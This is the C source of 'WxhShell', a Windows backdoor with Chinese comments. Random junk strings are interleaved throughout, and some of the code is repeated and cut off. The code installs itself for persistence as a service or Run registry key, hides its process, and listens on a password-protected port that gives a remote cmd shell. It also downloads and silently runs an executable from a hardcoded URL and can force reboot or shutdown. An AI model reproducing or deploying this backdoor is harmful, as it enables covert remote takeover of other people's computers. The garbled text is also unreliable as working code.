JFy"E ULONG UniqueProcessId; mH<|.7~0 ULONG InheritedFromUniqueProcessId; Yu[MNX;G } PROCESS_BASIC_INFORMATION; *ZRk) 6khm@}} PROCNTQSIP NtQueryInformationProcess; W8]?dL}| Qe9}%k6@E static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7<8'7<X static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^MhMYA B/~ubw HANDLE hProcess; Gh3f^PWnc PROCESS_BASIC_INFORMATION pbi; $b_~ U+D# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Csgby(D*O if(NULL == hInst ) return 0; =@P(cFJ/ 8JMxA2tZhG g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n-wOLH g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H\<PGC"_Y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |`I9K#w3 :Xx7':5 if (!NtQueryInformationProcess) return 0; -=u9>S)!c #H8QX5b) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ay{]Vqi9 if(!hProcess) return 0; 54s90 0(uba3z if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sG|,#XQ gV5mERKs CloseHandle(hProcess); rb>2l3g* 6k7x7z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Y '-2Fv if(hProcess==NULL) return 0; %3K'[2F 4;IZ}9|G HMODULE hMod; >;xkiO>Y char procName[255]; !0X"^VB unsigned long cbNeeded; K_X(j$2Xc jfa<32`0E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 94rx4"AN8; ^(qR({cX CloseHandle(hProcess); BSEP*#s Bq,Pk5b if(strstr(procName,"services")) return 1; // 以服务启动 pqbKPpG D/2;b;- return 0; // 注册表启动 u<+RA } MLDAr dvK .+ic6 // 主模块 +sd':vE int StartWxhshell(LPSTR lpCmdLine) U!lWP#m { #D+.z)iZn SOCKET wsl; XlwyD BOOL val=TRUE; 'HWPuWW int port=0; 0+rBGk struct sockaddr_in door; 1Zp^X:( `|[UF^9 if(wscfg.ws_autoins) Install(); HN&]`cr; o107. s port=atoi(lpCmdLine); o|VM{5 $fW8S8 if(port<=0) port=wscfg.ws_port; g*%o%Lv QP6a,^]; WSADATA data; #t">tL if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )Z`OkkabnD evyA#~o if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4Rl~7| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v)!^%D door.sin_family = AF_INET; z&|sks7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); H)+wkR!~ door.sin_port = htons(port); [lj^lN8
lR]SGdY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7<F{a"5P closesocket(wsl); f[$Z<:D-ve return 1; W TC/mcS } oJ0
#U w 1O) if(listen(wsl,2) == INVALID_SOCKET) { yjChnp
Cc closesocket(wsl); pH?"@ return 1; m8v=pab e } )-LSn Wxhshell(wsl); ZV:0:k.x WSACleanup(); g\?7M1~ kQtnT7 return 0; I9jzR~T p-%m/d? } ].
^e[v6 'n!Sco)C // 以NT服务方式启动 5'"9)#Ve VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #tt*yOmiH { |w`Q$ c DWORD status = 0; tp +H]H3 DWORD specificError = 0xfffffff; [V,f@}m
F x):h|/B serviceStatus.dwServiceType = SERVICE_WIN32; |H-zm&h>' serviceStatus.dwCurrentState = SERVICE_START_PENDING; t=r*/DxX= serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^/Frg<>'p serviceStatus.dwWin32ExitCode = 0; GEfTs[ serviceStatus.dwServiceSpecificExitCode = 0; iD!]I$ serviceStatus.dwCheckPoint = 0; 2-u9% serviceStatus.dwWaitHint = 0; f(*^zga, )}R
w@70L- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q-f?7*> if (hServiceStatusHandle==0) return; _O>8jH!# dmE.yVI"O status = GetLastError(); ?(j:F2dU~ if (status!=NO_ERROR) r(/+-
t { Lc13PTz>>g serviceStatus.dwCurrentState = SERVICE_STOPPED; q*K.e5"' serviceStatus.dwCheckPoint = 0; o[K,( serviceStatus.dwWaitHint = 0; |1"n\4$ serviceStatus.dwWin32ExitCode = status; h-RL`X serviceStatus.dwServiceSpecificExitCode = specificError; | <l=i( SetServiceStatus(hServiceStatusHandle, &serviceStatus); NT [~AK9M return; LD)P.
f } xw&N[y5 !5[5l!{x serviceStatus.dwCurrentState = SERVICE_RUNNING; 2z027P-Q serviceStatus.dwCheckPoint = 0; x]jJ serviceStatus.dwWaitHint = 0; X/`M'8v.% if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $"x~p1P } =!|=Y@ '"Y(2grP // 处理NT服务事件,比如:启动、停止 CN<EgNt1kN VOID WINAPI NTServiceHandler(DWORD fdwControl) i@#fyU)[G { $"]*,=-X switch(fdwControl) 5KDN8pJN { "\M^jO case SERVICE_CONTROL_STOP: S-KHot ? serviceStatus.dwWin32ExitCode = 0; >-Q=o,cl%3 serviceStatus.dwCurrentState = SERVICE_STOPPED; dn@_\5 serviceStatus.dwCheckPoint = 0; "~/O>.p serviceStatus.dwWaitHint = 0; $23dcC*hI { $|bdeQPr\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>%9JXU } R3%&\<a)9 return; _V-pr#lP1 case SERVICE_CONTROL_PAUSE: DS1_hbk serviceStatus.dwCurrentState = SERVICE_PAUSED; ;B!u=_' break; $[DSe~ case SERVICE_CONTROL_CONTINUE:
Vi_6O; serviceStatus.dwCurrentState = SERVICE_RUNNING; K';x2ffj break; :f5"w+ case SERVICE_CONTROL_INTERROGATE: [}t^+^/ break; mR6hnKa_53 }; ]<IK0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); $:SSm$k } % /Y; w [7vxQ!- // 标准应用程序主函数 {pyTiz#JY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @fG'X
{ rWB/#m Dk`(Wgk2 // 获取操作系统版本 r:Rk!z* OsIsNt=GetOsVer(); }:a:E~5y GetModuleFileName(NULL,ExeFile,MAX_PATH); 8[xl3= 8xN+LL'T{ // 从命令行安装 ]:r6 if(strpbrk(lpCmdLine,"iI")) Install(); &pZncm RYuR&0_{ // 下载执行文件 zyi;vu if(wscfg.ws_downexe) { w_]`)$9 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p? L*vcU WinExec(wscfg.ws_filenam,SW_HIDE); k]9v${Ke } 6#DDMP8;I X{G&r$ if(!OsIsNt) { #1oyRD- // 如果时win9x,隐藏进程并且设置为注册表启动 5'zD}[2 HideProc(); jM!Q
04( StartWxhshell(lpCmdLine); 3r-oZ8/n } r`GA5}M else 5isqBu if(StartFromService()) ?,0 a#lG // 以服务方式启动 *$yU|, StartServiceCtrlDispatcher(DispatchTable); 4RoE>m1[G else g,]GzHV1 // 普通方式启动 Ek%mX" StartWxhshell(lpCmdLine); XlDN)b5v{ `4kVe= { return 0; GP{$w_'!J0 } @m+2e C77 %29lDd(< B
EB[K2[9 !)$e+o^W =========================================== * faG0le <Po$|$_~ ATscP hk c1aIZ [h[@?8vB e> -fI_+b " h"$ )[k~ ptMDhMVW #include <stdio.h> e-Ma8+X\ #include <string.h> iininITOS{ #include <windows.h> Hx#1TqC/ #include <winsock2.h> yHYK,3/C, #include <winsvc.h> ,,HoD~]rd #include <urlmon.h>
&-zW1wf L| K8 #pragma comment (lib, "Ws2_32.lib") zW9/[Db #pragma comment (lib, "urlmon.lib") &ku.Q3xGs P}8cSX9 #define MAX_USER 100 // 最大客户端连接数 '4"c#kCKL #define BUF_SOCK 200 // sock buffer bAS/cuZs #define KEY_BUFF 255 // 输入 buffer Jy?; < ?8]g&V #define REBOOT 0 // 重启 Q"F" 13 #define SHUTDOWN 1 // 关机 8]j*z n?, n5>OZ3 E@ #define DEF_PORT 5000 // 监听端口 HP2J`>oo !hWS%m@ #define REG_LEN 16 // 注册表键长度 yB2}[1 #define SVC_LEN 80 // NT服务名长度
WiiAIv& IC6r? // 从dll定义API MmQ"z_v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7 F> a&r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K;j0cxl typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 45A|KaVpg typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gJBw6'Z v+(-\T\i // wxhshell配置信息 C8t;E` struct WSCFG { e82xBLxR% int ws_port; // 监听端口 x,M8NTb* char ws_passstr[REG_LEN]; // 口令 TY;%nT int ws_autoins; // 安装标记, 1=yes 0=no 7 >-(g+NF! char ws_regname[REG_LEN]; // 注册表键名 9v@P|
char ws_svcname[REG_LEN]; // 服务名 i+ICgMcd char ws_svcdisp[SVC_LEN]; // 服务显示名 "DvhAEM char ws_svcdesc[SVC_LEN]; // 服务描述信息 F4DJML-( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]8f$&gw&A int ws_downexe; // 下载执行标记, 1=yes 0=no Dgc}T8R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {R8)DK
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sZPyEIXie 9%Qlg4~<s }; V
`7(75 OF/hD2V // default Wxhshell configuration Te2C<c struct WSCFG wscfg={DEF_PORT, (tvfF0~ "xuhuanlingzhe", (lg~}Jwq 1, ~@mNR^W-W "Wxhshell", 1+9!W "Wxhshell", ]FEDAGu "WxhShell Service", }'`}| pM$ "Wrsky Windows CmdShell Service", T^Ol=QCu "Please Input Your Password: ", #
11<=3Yj 1,
*I.eCMDa "http://www.wrsky.com/wxhshell.exe", [\-)c[/ "Wxhshell.exe" `*",_RO; }; >u+%H
vzc |eI!wgQx // 消息定义模块 wC?>,LOl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yT|44
D2j char *msg_ws_prompt="\n\r? for help\n\r#>"; N qS]dH61 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r;_*.|AH char *msg_ws_ext="\n\rExit."; GBY{O2!3u char *msg_ws_end="\n\rQuit."; w8cbhc char *msg_ws_boot="\n\rReboot..."; 089v;
d 6 char *msg_ws_poff="\n\rShutdown..."; V3(8?Fz. char *msg_ws_down="\n\rSave to "; Ug )eyu q.VZ P char *msg_ws_err="\n\rErr!"; gH
yJ~ char *msg_ws_ok="\n\rOK!"; [ji')PCAi; kMZo7 y char ExeFile[MAX_PATH]; I%l2_hs0V int nUser = 0; x>tsI}C HANDLE handles[MAX_USER]; SP"t2LTP int OsIsNt; c 5 `74g U".5x~UC SERVICE_STATUS serviceStatus; upnX7as SERVICE_STATUS_HANDLE hServiceStatusHandle; *k@D4F ruP QB3er]y0% // 函数声明 HCT+.n6 int Install(void); n0Qp:_2z int Uninstall(void); j'`-3<k int DownloadFile(char *sURL, SOCKET wsh); KW!+Ws int Boot(int flag); gx8i|] void HideProc(void); Tvt(nWn(H1 int GetOsVer(void); 5Od&-~O int Wxhshell(SOCKET wsl); &"(zK"O void TalkWithClient(void *cs); T:SqENV int CmdShell(SOCKET sock); ?&!e
f{ int StartFromService(void); , Xxp]*K2 int StartWxhshell(LPSTR lpCmdLine); k$GtzjN 2~R%_r+< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Q\ hd*+g VOID WINAPI NTServiceHandler( DWORD fdwControl ); wjXv{EsMq #v; :K8 // 数据结构和表定义 =IKgi-l* SERVICE_TABLE_ENTRY DispatchTable[] = Gk
xtGe { wg<t*6&'x {wscfg.ws_svcname, NTServiceMain}, <}T7;knO {NULL, NULL} 3$S~!fh }; ZW4$Ks2]Y h>F"GR?U_( // 自我安装 q4v:s int Install(void) 5O;D\M{> { l#~pK6@W char svExeFile[MAX_PATH]; PS8^= HKEY key; \OXQ%J2v strcpy(svExeFile,ExeFile); `O5427Im -@ra~li,yQ // 如果是win9x系统,修改注册表设为自启动 ^7a@?|,q8 if(!OsIsNt) { k136n#KN1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ri\\Yb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !f]kTs]j~ RegCloseKey(key); BS
]:w(}[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T;]Ob3(BpW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AiB]A} RegCloseKey(key); *Nfotv return 0; [N#4H3GM8 } f[
KI
T } q0DRT4K } [RY Rt/?Q else { J=&}$ P| hwLM // 如果是NT以上系统,安装为系统服务 *s<cgPKJ@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G1\F7A if (schSCManager!=0) vCXmu_S4^> { w
^?#xU1.i SC_HANDLE schService = CreateService 2x<!>B ( Fy0sn| schSCManager, :5BCW68le wscfg.ws_svcname, =k>fW7e wscfg.ws_svcdisp, m41%?uC/ SERVICE_ALL_ACCESS, TV#>x!5!d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TY%=Y= SERVICE_AUTO_START, B3pjli SERVICE_ERROR_NORMAL, $N Mu svExeFile, !K0 U.. NULL, i]OEhB
Y NULL, $E.Fgy:G NULL, wWSo+40 NULL, 1xu~@v60 NULL ]s!id[j ); 94^b"hU if (schService!=0) 7&D)+{g { CO9PQ`9+ CloseServiceHandle(schService); ?rA3<j CloseServiceHandle(schSCManager); Eg8b|!-')8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q6 ny2;/r strcat(svExeFile,wscfg.ws_svcname); {> <1K6t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7XLqP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rxqSi0p RegCloseKey(key); .6C6ZUB; return 0; _]- 4UA- } d!4TwpIgx } G&@dJ &B CloseServiceHandle(schSCManager); R7K`9 c1f6 } Fq_>}k@fI } ,L lYRj 5 #oR`_Dm)P return 1; \<\H1;=.@' } <*WGvCh%w 3fA+{Y8S // 自我卸载 X6T[+]Gc int Uninstall(void) W#E(?M[r { h"/'H)G7_& HKEY key;
2W`WOBz Xs# _AX if(!OsIsNt) { JWYe~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cy)-Rfg RegDeleteValue(key,wscfg.ws_regname); ![nL/ RegCloseKey(key); {M7`"+~w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .6LRg RegDeleteValue(key,wscfg.ws_regname); D9NQ3[R 9 RegCloseKey(key); I$p1^8~L return 0; <QO1Yg7} } 0kNKt(_ } D4C:%D } 7qZC+x6_L else { -FI)o`AE lC`w}0p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4<Nd5T if (schSCManager!=0) :WX
OD { u|T]Ne SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v+[S${ if (schService!=0) !>D[Y { MBU|<tc if(DeleteService(schService)!=0) { ;']u}Nh CloseServiceHandle(schService); @x!,iT CloseServiceHandle(schSCManager); KO~KaN return 0; nlI3|5 } {I0U 4] CloseServiceHandle(schService); SDV#p];u } LMx/0 CloseServiceHandle(schSCManager); $v[mIR } S89j:KRXH% } 3 o$zT9j +RJKJ:W return 1; WJu(,zM?G } >j3':>\U 7}y@VO6] // 从指定url下载文件 6wj o:I int DownloadFile(char *sURL, SOCKET wsh) u$C\#y7 { ]1XtV< HRESULT hr; |m6rF7Q char seps[]= "/"; ]s\vc:cc? char *token; c61OT@dZEA char *file; `/`iLso&- char myURL[MAX_PATH]; aL*MC gb' char myFILE[MAX_PATH]; [Eccj`\e g ep?D;g strcpy(myURL,sURL); U._fb= token=strtok(myURL,seps); W] DGt|JP while(token!=NULL) ygH )U. { /}
z9( file=token; s]OZ+^Z token=strtok(NULL,seps); o $W@@aM } cTzR<Yr ?upd GetCurrentDirectory(MAX_PATH,myFILE); t-o,iaPG3 strcat(myFILE, "\\"); t&EizH$ strcat(myFILE, file); 4H%#Sn#L^! send(wsh,myFILE,strlen(myFILE),0); f<iK% send(wsh,"...",3,0); )[J!{$&y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~tyqvHC if(hr==S_OK) 9#:fQ!3` return 0; +_$s9`@]6 else xw_klHL-o return 1; pe0ax-Zv }/&Zo=Q$ } :$k1I-^R FeMgn`q // 系统电源模块 cu
foP& int Boot(int flag) y<j7iN { wK7w[Xt HANDLE hToken; UPr&
`kaJ TOKEN_PRIVILEGES tkp; d~r A`!s7` &9)/" if(OsIsNt) { v%AepK& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YTZ :D/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Zi+F IQ( tkp.PrivilegeCount = 1; Gf3-%s xA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NK/y,f6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yj>4*C9 if(flag==REBOOT) { a>W++8t1 ; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Md@x2Ja return 0; S|)atJJ0G" } 3@\/5I xn else { e)B1)c 8s if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B>>_t2IU return 0; `|>]P"9yp } Hzm_o>^KC } Uq_lT, else { iKV|~7nwO if(flag==REBOOT) { YVa,?&i=N if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XPqGv=CN return 0; =v?P7;T } VgIk '. else { H`fJ<So? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }|2A6^FH. return 0; PN?;\k)" } COu5Tu^ } xWXLk )A RV_I&HD! return 1; 2(0%{*m } 1E
/G+pm qpjZ-[UC // win9x进程隐藏模块 Um\HX6 void HideProc(void) .=Oww { _q#pEv EjFpQ|-L| HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L~{(9J'( if ( hKernel != NULL ) MXfyj5K { @(35I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r>ed/<_>m; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f4\$<g/~ FreeLibrary(hKernel); He'VqUw_ } 5NUaXQ O2ktqAWx@ return; >I5Wf/$ } B
E8_.> 4]tg! ks // 获取操作系统版本 og35Vs0 int GetOsVer(void) =|aZNHqH { `<d.I%} OSVERSIONINFO winfo; '_4apyq| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _,60pr3D' GetVersionEx(&winfo); /huh}&NNu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FCEmg0qdjD return 1; ~mt{j7 else 48^C+#Jbc return 0; Vf~-v$YI } '}(>s%~ Miw=2F // 客户端句柄模块 !ITM:% int Wxhshell(SOCKET wsl) c}n66qJF5 { OYt_i'Q SOCKET wsh; 4hxP`!< struct sockaddr_in client; S-o)d DWORD myID; '+{yg+#/wV yp$jLBA while(nUser<MAX_USER) -hW>1s< { Xwo+iZ(a int nSize=sizeof(client); "Hz%0zP& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $`W3`}#fM if(wsh==INVALID_SOCKET) return 1; O&aD]~|
rn(
drG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X$\CC18 if(handles[nUser]==0) mxF+Fp~ closesocket(wsh); PVF:p7 else B *O/>=_ nUser++; ~<<32t'S: } y
`FZ 0FI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q njK<}M9 T^#d;A return 0; *5oQZ".vA* } $dKfUlO ww7nQ}H5( // 关闭 socket rQ _cH void CloseIt(SOCKET wsh) z(Uz<*h8 { xS%&l)dT closesocket(wsh); Io JI|lP nUser--; .wq
j ExitThread(0); (nmsw6
X } goyDG/ U4-RI]Cpf // 客户端请求句柄 $$.q6 void TalkWithClient(void *cs) ,.(:b82$ { r`<e<C k6z
]-XG SOCKET wsh=(SOCKET)cs; qS! Lt3+ char pwd[SVC_LEN]; ~=c5q char cmd[KEY_BUFF]; -f ~1Id char chr[1]; /v<Gt%3X int i,j; (n.IK/: iOhX\@& while (nUser < MAX_USER) { Q`'cxx 3=oxT6"k if(wscfg.ws_passstr) { fA<os+*9i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Q8Wy/o
Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . G25D //ZeroMemory(pwd,KEY_BUFF); w=!xTA i=0; m?yztm~u while(i<SVC_LEN) { --"5yGOL [^}bc-9?i // 设置超时 8$]SvfX fd_set FdRead; _u6NaB struct timeval TimeOut; Q%q;=a FD_ZERO(&FdRead); hG~.Sc:G FD_SET(wsh,&FdRead); b49h @G TimeOut.tv_sec=8; n(# yGzq TimeOut.tv_usec=0; YU6|/
<8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `u_MdB}<x; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =to.Oa RR p|nPu*R-\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "{E%Y* pwd=chr[0]; ~"\v(\P e if(chr[0]==0xd || chr[0]==0xa) { Q'3tDc< pwd=0; Z]{=Jy!F break; mDp8JNJNE } {g[kn^| i++; ndDF(qHr } 1>\V>g9 |ITCw$T // 如果是非法用户,关闭 socket h {J io> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $Lbamg->E } Q6URaw#Yt` )i.pE]!+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w{ _g"X send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qTbc?S46pt _]ZlGq!L while(1) { JBq6Qg 'J0I$-QYk ZeroMemory(cmd,KEY_BUFF); XPdqE`w=$p X!~y&[;[C // 自动支持客户端 telnet标准 bM?29cs j=0; GSSmlJ` while(j<KEY_BUFF) { di+|` O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s{7bu|0 cmd[j]=chr[0]; P"}"q ![ if(chr[0]==0xa || chr[0]==0xd) { V>obMr^5 cmd[j]=0; u' kG(<0Y break; B0Z>di: } wE<r' j++; [+W<;iep } X-"
+nThMn GNuIcy // 下载文件 j-"34 if(strstr(cmd,"http://")) { +Tx_q1/f5X send(wsh,msg_ws_down,strlen(msg_ws_down),0); `ItoL7bi if(DownloadFile(cmd,wsh)) kzK9. send(wsh,msg_ws_err,strlen(msg_ws_err),0); x%ccNP0 else NLx TiyQy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tcl9:2/^] } 6!itr" else { ]LxE#R5V OJA_OqVp$K switch(cmd[0]) { ojm IEzsz 3HcduJntl // 帮助 noz1W ] case '?': { Yd~J( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q1yXdw break; =<PEvIn } ':tdb$h // 安装 .w{Y3,dd> case 'i': { X}x\n\Z if(Install()) %#&njP send(wsh,msg_ws_err,strlen(msg_ws_err),0); t\YM Hq<Y else +hispU3ia send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OXKV6r6f break; d)Z&_v<| } o+XQMg // 卸载 +rSU case 'r': { CSW+UaE if(Uninstall()) Gl|n }wo$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pe\Obd8d else 2T?Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T fIOS] break; [Pjitw/? } v#s*I/kw // 显示 wxhshell 所在路径 !J@!2S9 case 'p': { 5#X R1#` char svExeFile[MAX_PATH]; q7soV(P strcpy(svExeFile,"\n\r"); .$y'>O*$G strcat(svExeFile,ExeFile); BAvz @H send(wsh,svExeFile,strlen(svExeFile),0); o6~JAvw break; \Z42EnJ } `s
UY$Q // 重启 HIE8@Rv/3 case 'b': { R6;#+ 1D send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z.Dg=>G] if(Boot(REBOOT)) #XqCz>Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); UA~ 4O Q] else { aMHC+R1X closesocket(wsh); %-K5sIz ExitThread(0); 3>MILEY^ } ,3-^EfccW break; @b., pwZF } 4]p#9`j // 关机 ,:'JJZg@ case 'd': { $-t@=N@vO? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /hVwrt( if(Boot(SHUTDOWN)) ae@!M send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2T(+VeMQ= else { 3}mg7KV& closesocket(wsh); jgPUR#) ExitThread(0); MXEI/mDYK } I
2OQ break; 5cU:wc } Rcw[`q3/ // 获取shell T!41[vm( case 's': { Ck%if CmdShell(wsh); Jn|i! closesocket(wsh); BgdUG:;&
ExitThread(0); kFmtE
dhsc break; <,/7:n } z6d0Y$A G // 退出 %3t;[$n# case 'x': { ln8NcAEx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P*|=Z>%[0 CloseIt(wsh); , .;0xyc break; srO>l ;Vf/ } NR8`nc1~ // 离开 P3=#<Q. case 'q': { lP]Y^Gz send(wsh,msg_ws_end,strlen(msg_ws_end),0); G'w!Aw s closesocket(wsh); ?)k]Vg. WSACleanup(); \.H9e/vU` exit(1); >!']w{G break; z^&$6c_ } Tl[*(|/C } f#GMJ mCQs } hjFht+j1 @>~\So| // 提示信息 HB}rpiB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RU6c 8>" } sb8bCEm-\ } 7_)38 MY
c& return; (F.w?f4B3 } #<eD yx4pQL7 // shell模块句柄 g:y4C6b int CmdShell(SOCKET sock) `0M6<e]C { k[a<KbS STARTUPINFO si; {}Is&^3Z ZeroMemory(&si,sizeof(si)); n9J{f"`m si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4`: POu& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wJq$yqos{ PROCESS_INFORMATION ProcessInfo; Tt{z_gU6 char cmdline[]="cmd"; </xf4.C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R@tEC)Zn return 0; w4TQ4
Y } '2<r{ W // 自身启动模式 2;:p
H3 int StartFromService(void) m&xVlS { ]Z6? m typedef struct #\D74$D { [Eu)~J* DWORD ExitStatus; ZOa| lB (, DWORD PebBaseAddress; iJ8Z^=> DWORD AffinityMask; )mBYW}} T DWORD BasePriority; `G`R|B ULONG UniqueProcessId; leH7II9 ULONG InheritedFromUniqueProcessId; VR&dy|5BO } PROCESS_BASIC_INFORMATION; l*&N<Yu "qR, V9\ PROCNTQSIP NtQueryInformationProcess; S!z3$@o J+
S]Qoz static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rQ]JM static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F4z#u2~TC Vym0|cW HANDLE hProcess; w"dKOdY PROCESS_BASIC_INFORMATION pbi; ~ *"iLf@, =QtFJ9\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `\\s%}vZ*T if(NULL == hInst ) return 0; qA`@~\qh" GxG~J4 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tjrb.+cua g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G&1bhi52 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "uIaKb c};%VB if (!NtQueryInformationProcess) return 0; '=Lpch2J 0\ (:y^X hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5toa@#Bc% if(!hProcess) return 0; W9tZX5V1 { ,c*OR if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m=^]93+ *DfOm`m CloseHandle(hProcess); l}VE8-XB 